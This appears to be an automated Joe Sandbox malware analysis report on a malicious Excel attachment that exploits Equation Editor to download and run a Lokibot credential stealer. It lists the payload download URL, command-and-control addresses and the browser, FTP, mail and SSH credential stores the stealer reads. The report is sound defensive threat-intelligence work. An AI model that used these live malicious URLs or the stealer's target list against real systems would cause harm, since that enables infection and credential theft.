Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\Public\vbc.exe	Process information set: NOGPFAULTERRORBOX

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2032	Thread sleep time: -300000s >= -30000s
Source: C:\Users\Public\vbc.exe TID: 2028	Thread sleep time: -420000s >= -30000s

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 60000

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00402B7C GetProcessHeap,RtlAllocateHeap,

Source: C:\Users\Public\vbc.exe

Process token adjusted: Debug

Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040317B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0022092B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00220D90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_002233CB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00928E7B push dword ptr fs:[00000030h]

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'

Source: vbc.exe, 00000004.00000002.664494803.0000000000A00000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000004.00000002.664494803.0000000000A00000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: vbc.exe, 00000004.00000002.664494803.0000000000A00000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00406069 GetUserNameW,

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1268, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\Public\vbc.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\Public\vbc.exe	Code function: PopPassword
Source: C:\Users\Public\vbc.exe	Code function: SmtpPassword

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Source: Yara match	File source: 4.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.220e50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vbc.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.455823492.00000000003E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664242686.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution13	Path Interception	Access Token Manipulation1	Deobfuscate/Decode Files or Information1	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection12	Obfuscated Files or Information3	Credentials in Registry2	File and Directory Discovery2	Remote Desktop Protocol	Man in the Browser1	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing22	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading111	NTDS	Security Software Discovery1	Distributed Component Object Model	Email Collection1	Scheduled Transfer	Application Layer Protocol123	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion11	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Access Token Manipulation1	Cached Domain Credentials	Virtualization/Sandbox Evasion11	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.vbc.exe.220e50.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.vbc.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.1.vbc.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.3.vbc.exe.3e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://checkvim.com/ga14/fre.php	100%	Avira URL Cloud	malware
http://103.155.83.184/wdc/vbc.exe	0%	Avira URL Cloud	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
checkvim.com	5.188.89.50	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://checkvim.com/ga14/fre.php	true	Avira URL Cloud: malware	unknown
http://103.155.83.184/wdc/vbc.exe	true	Avira URL Cloud: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	vbc.exe, 00000004.00000002.664629094.0000000002700000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	vbc.exe, 00000004.00000002.664629094.0000000002700000.00000002.00020000.sdmp	false		high
http://www.day.com/dam/1.0	89D14D5A.emf.0.dr	false		high
http://www.ibsensoftware.com/	vbc.exe, vbc.exe, 00000004.00000002.664285691.0000000000400000.00000040.00020000.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.188.89.50	checkvim.com	Russian Federation		34665	PINDC-ASRU	true
103.155.83.184	unknown	unknown		134687	TWIDC-AS-APTWIDCLimitedHK	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491904
Start date:	28.09.2021
Start time:	06:49:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Original shipping documents.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@4/15@142/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 42.6% (good quality ratio 40.8%) Quality average: 77.2% Quality standard deviation: 28.8%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:50:35	API Interceptor	72x Sleep call for process: EQNEDT32.EXE modified
06:50:43	API Interceptor	837x Sleep call for process: vbc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.155.83.184	Original_Docs_of_272108-27110.xlsx	Get hash	malicious	Browse	103.155.83.184/winx/vbc.exe
103.155.83.184	Original Docs of 272108-27110.xlsx	Get hash	malicious	Browse	103.155.83.184/winx/vbc.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
checkvim.com	Original_Docs_of_272108-27110.xlsx	Get hash	malicious	Browse	85.192.56.15
	oGBfcIhLM0.exe	Get hash	malicious	Browse	85.192.56.15
	Original Docs of 272108-27110.xlsx	Get hash	malicious	Browse	85.192.56.15
	4jiyRFGk2g.exe	Get hash	malicious	Browse	85.192.56.15
	2WcXz6F1Fg.exe	Get hash	malicious	Browse	94.247.137.137
	WjOPMprn5p.exe	Get hash	malicious	Browse	94.247.137.137
	u2dPHHMOK8.exe	Get hash	malicious	Browse	94.247.137.137
	_(BL,INV,)Cargo receipts_.xlsx	Get hash	malicious	Browse	176.119.147.198
	f32OEHkj7R.exe	Get hash	malicious	Browse	94.247.137.151
	KXaSOvIYKB.exe	Get hash	malicious	Browse	94.247.137.151
	Revised Proforma Twinkle diamond..xlsx	Get hash	malicious	Browse	94.247.137.151
	kCqS8blL7C.exe	Get hash	malicious	Browse	5.180.136.169
	qucqDCe82D.exe	Get hash	malicious	Browse	5.180.136.169
	xbFyi3wvv6.exe	Get hash	malicious	Browse	5.180.136.169
	SWSJZS3u3T.exe	Get hash	malicious	Browse	5.180.136.169
	vbc.exe	Get hash	malicious	Browse	5.180.136.169
	hBU2Qo8plP.exe	Get hash	malicious	Browse	185.195.24.226
	_Cargo receipts BL,INV_.xlsx	Get hash	malicious	Browse	185.195.24.226
	lse63kj8fX.exe	Get hash	malicious	Browse	185.251.89.218
	MqfdQNyVU9.exe	Get hash	malicious	Browse	185.251.89.218

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWIDC-AS-APTWIDCLimitedHK	Original_Docs_of_272108-27110.xlsx	Get hash	malicious	Browse	103.155.83.184
	Original Docs of 272108-27110.xlsx	Get hash	malicious	Browse	103.155.83.184
	A4B51BD72DFFD28AD3841217FFEC9E43D21EE3C6F889B.exe	Get hash	malicious	Browse	103.155.93.196
	05BB79760B2D993C39D526717DA95AEC99AD74D8FC23E.exe	Get hash	malicious	Browse	103.155.93.196
	setup_x86_x64_install.exe	Get hash	malicious	Browse	103.155.93.196
	AA9830B26F9C0DB4C3DA3C04A96199550B57251B56F8C.exe	Get hash	malicious	Browse	103.155.93.196
	IYtpAQqaaN.exe	Get hash	malicious	Browse	103.155.93.196
	s5A7MjLIUa	Get hash	malicious	Browse	103.155.241.218
	AWS QOUTATION 768854_SCAN_PDF.exe	Get hash	malicious	Browse	103.156.92.178
	IH8yGKHMaA	Get hash	malicious	Browse	103.154.227.106
	doc0490192021092110294.exe	Get hash	malicious	Browse	103.159.52.4
	AW QUOTE HQ2-scan-0983.exe	Get hash	malicious	Browse	103.156.92.178
	Document_1752244602-Copy.xls	Get hash	malicious	Browse	103.155.92.211
	Document_1752244602-Copy.xls	Get hash	malicious	Browse	103.155.92.211
	Document_1752244602-Copy.xls	Get hash	malicious	Browse	103.155.92.211
	AW QUOTE 21505 HQ1-Scan-068703_PDF.exe	Get hash	malicious	Browse	103.156.92.178
	AW QUOTE 21505 HQ1-Scan-068703_PDF.exe	Get hash	malicious	Browse	103.156.92.178
	qbot5.xlsx	Get hash	malicious	Browse	103.155.92.211
	qbot5.xlsx	Get hash	malicious	Browse	103.155.92.211
	qbot5.xlsx	Get hash	malicious	Browse	103.155.92.211
PINDC-ASRU	Setup.exe	Get hash	malicious	Browse	5.188.89.12
	6MC579H2Rk.exe	Get hash	malicious	Browse	5.188.88.214
	ulWBwQ4cF0.exe	Get hash	malicious	Browse	5.188.88.214
	TpW0kSiexY.exe	Get hash	malicious	Browse	146.185.239.48
	t2fi2uDNOm	Get hash	malicious	Browse	5.188.210.153
	mk61kzqC1Z.exe	Get hash	malicious	Browse	5.188.89.24
	de8d7941d5fe91459cefc134f86c2630dbea5ec6830e2.exe	Get hash	malicious	Browse	5.188.89.24
	w3hJTUzSUs.exe	Get hash	malicious	Browse	5.188.89.24
	Q3 order 455647483 10-09-2021 document.exe	Get hash	malicious	Browse	31.184.204.91
	z2SUzJkpaW.exe	Get hash	malicious	Browse	5.188.88.47
	v6w61X9rOS.exe	Get hash	malicious	Browse	5.188.88.47
	yXf9mhlpKV.exe	Get hash	malicious	Browse	5.188.88.47
	hkfp0p5kuE.exe	Get hash	malicious	Browse	5.188.88.63
	3hTS09wZ7G.exe	Get hash	malicious	Browse	5.188.88.63
	040ba58b824e36fc9117c1e3c8b651d9e4dc3fe12b535.exe	Get hash	malicious	Browse	5.188.88.63
	89o9iHBGiB.exe	Get hash	malicious	Browse	5.188.88.63
	DWVByMCYL8.exe	Get hash	malicious	Browse	5.188.88.63
	DUpgpAnHkq.exe	Get hash	malicious	Browse	5.188.88.63
	7EAz8cQ49v.exe	Get hash	malicious	Browse	5.188.88.63
	f9aoawyl4M.exe	Get hash	malicious	Browse	5.188.88.63

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	210432
Entropy (8bit):	6.97232515193582
Encrypted:	false
SSDEEP:	3072:2v+ArX9FLxOhanZBsX3PovEuKwEXLqfP6GB6klGfLIQVNWBz:6+KnIanZyHPoqqfSGB6k8Txql
MD5:	59A67B5CCF01B6A564265797DC5E53E8
SHA1:	996281D368FCC2CEFE5BF99399CCB19299C6F8FF
SHA-256:	E4C1C0121487F83B014B8C81BBAF03DB0B7F49584A268A5E67CA64BA6E64676F
SHA-512:	3BEB988E323C9A9F8DEB04E845DA157E34EC1F564B5CF8681A7ACA490A9FB5A1D4F1D4A10D80AD2D9C7D1742C56B93CFD113352FA80E38C4BAB46695C6F527CD
Malicious:	true
Reputation:	low
IE Cache URL:	http://103.155.83.184/wdc/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L...H..`.................l........................@.................................mk..................................O...,...<.... ...u..............................................................@...............\|............................text... j.......l.................. ..`.rdata...1.......2...p..............@..@.data...\|U..........................@....rsrc....u... ...v..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1599A1F2.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\34C1CE78.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category:	dropped
Size (bytes):	14198
Entropy (8bit):	7.916688725116637
Encrypted:	false
SSDEEP:	384:lboF1PuTfwKCNtwsU9SjUB7ShYIv7JrEHaeHj7KHG81I:lboFgwK+wD9SA7ShX7JrEL7KHG8S
MD5:	E8FC908D33C78AAAD1D06E865FC9F9B0
SHA1:	72CA86D260330FC32246D28349C07933E427065D
SHA-256:	7BB11564F3C6C559B3AC8ADE3E5FCA1D51F5451AFF5C522D70C3BACEC0BBB5D0
SHA-512:	A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.................................... .... !....!..!) ..&.".#1!&)+... "383-7(-.-...........-...------0--------+-------------------+--------------........M..".......................................E......................!...1A"Q.aq..2B..#R..3b...$r..C......4DSTcs..................................................Q.A............?...f.t..Q ]....i".G.2....}....m..D..."......Z.5..5...CPL..W..o7....h.u..+.B...R.S.I. ..m...8.T...(.YX.St.@r..ca...\|5.2.....%..R.A67.........{....X.;...4.D.o'..R...sV8....rJm....2Est-.......U.@......\|j.4.mn..Ke!G.6PJ.S>..0....q%..... .....@...T.P.<...q.z.e....((H+. ..@$...'..?..h.P.]...ZP.H..l?s2l.$.N..?xP..c...@....A..D.l......1...[q[5(-.J..@...$..N....x.U.fHY!..PM..[.P........aY.....S.R.....Y...(D.\|..10........... ..l..\|F...E9...RU:.P...p$.'......2.s.-....a&.@..P.....m..........L.a.H;Dv)...@u...s.,.h..6..Y,....D.7....,.UHe.s..PQ.Ym....)..(y.6.u...i.V.'2`....&.... ^...8.+]K)R...\.'A...I..B..?[.:.L(c3J..%..$.3..E0@...."5fj...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3FC47675.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33795
Entropy (8bit):	7.909466841535462
Encrypted:	false
SSDEEP:	768:mEWnXSo70x6wlKcaVH1lvLUlGBtadJubNT4Bw:mTDQx6XH1lvYlbdJux4Bw
MD5:	613C306C3CC7C3367595D71BEECD5DE4
SHA1:	CB5E280A2B1F4F1650040842BACC9D3DF916275E
SHA-256:	A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DC0F1847134294
SHA-512:	FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C9665
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............T+....)iCCPicc..x..gP......}..m....T).HYz.^E...Y."bC..D..i. ...Q).+.X...X.,....."(.G.L.{'?..z.w.93..".........~....06\|G$/3........Q@.......%:&.......K....\............JJ.. ........@n..3./...f._>..L~...... ......{..T.\|ABlL..?-V...ag.......>.......W..@..+..pHK..O.....o....................w..F.......,...{....3......].xY..2....( .L..EP.-..c0.+..'p.o..P..<....C....(.........Z...B7\.kp...}..g .)x.......!"t... J.:...#...qB<.?$..@.T$..Gv"%H9R.4 -.O....r..F. ..,.'...P..D.P....\...@.qh.....{...=.v....(*D...`T..)cz..s...0,..c[.b..k..^l.{...9.3..c..8=........2p[q....I\.....7...}....x].%...........f\|'..~.?..H .X.M.9...JH$l&....:.W..I...H.!......H..XD.&."^!.....HT....L.#...H..V.e..i..D.#..-...h.&r....K.G."/Q.)..kJ.%...REi...S.S.T.....@.N.....NP?.$h:4.Z8-...v.v.....N.k...at.}/..~....I.!./.&.-.M.V.KdD.(YT].+.A4O.R...=.91.....X..V.Z..bcb...q#qo...R.V...3.D...'.h.B.c..%&..C....1v2..7.SL.S...Ld.0O3.....&.A......$.,...rc%..XgY.X_....R1R{..F.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\46679E8F.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 484 x 544, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	65050
Entropy (8bit):	7.959940260382877
Encrypted:	false
SSDEEP:	1536:LT3dRSPKeePekFnfpQ6uF2sxiPfqu2RjWn0ZqNnbMXrpLlx6q1F:fdoPI79fpQXtjupn7Nnb8pLll
MD5:	22335141D285E599CDAEF99EABA59D5B
SHA1:	C8E5F6F30E91F2C55D96867CAA2D1E21E7A4804D
SHA-256:	6C0757667F548698B721E4D723768447046B509C1777D6F1474BDE45649D92B0
SHA-512:	CF623DC74B631AAE3DBECF1F8D7E6E129F0C44F882487F367F4CB955A3D5A9AAE96EFD77FB0843BCE84F5F9D4A3C844A42193B7C4F1D374CE147399E1C3A6C2B
Malicious:	false
